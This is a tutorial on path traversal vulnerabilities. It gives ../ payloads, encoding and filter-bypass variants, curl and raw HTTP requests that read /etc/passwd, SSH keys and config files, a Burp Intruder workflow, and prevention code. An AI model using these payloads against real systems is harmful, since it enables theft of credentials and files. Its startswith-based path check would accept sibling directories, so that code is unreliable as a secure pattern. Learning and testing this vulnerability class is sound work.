Path traversal (also called directory traversal) is a vulnerability that allows attackers to read — and sometimes write — files outside the intended web root directory. Despite being a well-understood vulnerability category, it continues to appear in modern applications, including well-known software packages. Understanding how it works is essential for both testers and developers.
What Is Path Traversal?
Web applications frequently serve files based on user-supplied input. A URL like https://target.com/download?file=report.pdf tells the server to fetch report.pdf from some configured directory. The vulnerability arises when the application blindly concatenates user input to a base path without sanitization.
If the server-side code does something like:
filename = request.args.get('file')
full_path = '/var/www/uploads/' + filename
with open(full_path, 'rb') as f:
return f.read()
An attacker can supply ../../../etc/passwd as the filename, causing the full path to resolve to /etc/passwd.
The Classic Exploit Pattern
The ../ sequence (dot-dot-slash) navigates one directory level up. Chaining these sequences allows an attacker to escape the intended directory:
https://target.com/download?file=../../../etc/passwd
On Linux, /etc/passwd reveals usernames and home directories. More sensitive targets include:
| Target File | Contents |
|---|
/etc/passwd | User accounts and home directories |
/etc/shadow | Hashed passwords (requires root read access) |
/etc/hosts | Local hostname resolution |
/proc/self/environ | Environment variables (may contain secrets) |
/proc/self/cmdline | Current process command |
~/.ssh/id_rsa | SSH private key |
/var/www/html/config.php | Database credentials |
On Windows targets, path separators change:
https://target.com/download?file=..\..\..\windows\system32\drivers\etc\hosts
Or mixed slashes often work too:
https://target.com/download?file=../../../windows/system32/drivers/etc/hosts
URL Encoding Bypasses
Many applications try to block ../ but fail to handle encoded variants. Common bypass techniques:
URL encoding:
%2e%2e%2f → ../
%2e%2e/ → ../
..%2f → ../
Double encoding (for apps that decode once then check):
%252e%252e%252f → %2e%2e%2f → ../
Unicode/UTF-8 encoding:
..%c0%af → ../ (overlong UTF-8)
..%ef%bc%8f → ../ (fullwidth solidus)
Null byte injection (in older PHP applications):
../../../etc/passwd%00.jpg
The null byte terminates the string in C-based functions, causing the .jpg extension appended by the application to be ignored.
Path normalization tricks:
....//....//....//etc/passwd
..././..././..././etc/passwd
When an application strips ../ once, ....// becomes ../ after the single pass.
Testing with curl
Quick command-line testing for path traversal:
# Basic test
curl "https://target.com/download?file=../../../etc/passwd"
# URL-encoded
curl "https://target.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Check response length and content
curl -s "https://target.com/download?file=../../../etc/passwd" | head -5
Look for root:x:0:0:root in the response — that’s the first line of /etc/passwd on a successful exploit.
Testing with Burp Suite
Burp Suite’s scanner will detect many path traversal issues automatically, but manual testing gives you more control.
Manual Testing Workflow
- Intercept requests in Proxy that include file parameters
- Send to Repeater (Ctrl+R)
- Modify the file parameter to
../../../etc/passwd
- Observe the response: content length change, actual file content, or error messages
- Try bypass variants if the basic attempt is blocked
Using Burp Intruder for Automated Traversal
- Send the request to Intruder
- Mark the file parameter value as the payload position
- Load a path traversal wordlist from SecLists:
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
- Set the attack type to Sniper
- Filter responses by content length — successful reads will differ from error pages
Real-World Example: Apache Tomcat (CVE-2025-24813 context)
Path traversal vulnerabilities appear regularly in CVE databases. A classic pattern is when a web server fails to normalize paths:
GET /static/..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: target.com
The server URL-decodes the path, resulting in /etc/passwd being served directly.
Prevention
Resolve the full canonical path and verify it starts with the intended base directory:
import os
BASE_DIR = '/var/www/uploads/'
def safe_open(filename):
# Resolve the absolute path
requested_path = os.path.realpath(os.path.join(BASE_DIR, filename))
# Ensure it's within the base directory
if not requested_path.startswith(os.path.realpath(BASE_DIR)):
raise ValueError("Path traversal detected")
with open(requested_path, 'rb') as f:
return f.read()
2. Chroot Jails and Containerization
Run web application processes in a chroot jail or container, so even if traversal succeeds, the filesystem the attacker can reach is limited to an isolated environment.
3. Indirect File References
Never pass raw filenames from user input to filesystem operations. Instead, use an indirect mapping:
FILE_MAP = {
'report': 'quarterly_report.pdf',
'invoice': 'invoice_template.pdf'
}
filename = FILE_MAP.get(user_input)
if filename is None:
return 404
4. Web Server Configuration
Configure your web server to deny requests containing traversal sequences:
# Nginx — block traversal sequences
if ($request_uri ~* "\.\.") {
return 403;
}
5. Least Privilege
Run web server processes with the minimum filesystem permissions required. A process that can only read /var/www/uploads/ causes far less damage when compromised.
Path traversal is deceptively simple — a single unchecked concatenation can expose an entire server’s filesystem. Canonicalize paths, use indirect references, and apply defense-in-depth through chroot or containerization, and this class of vulnerability disappears entirely from your codebase.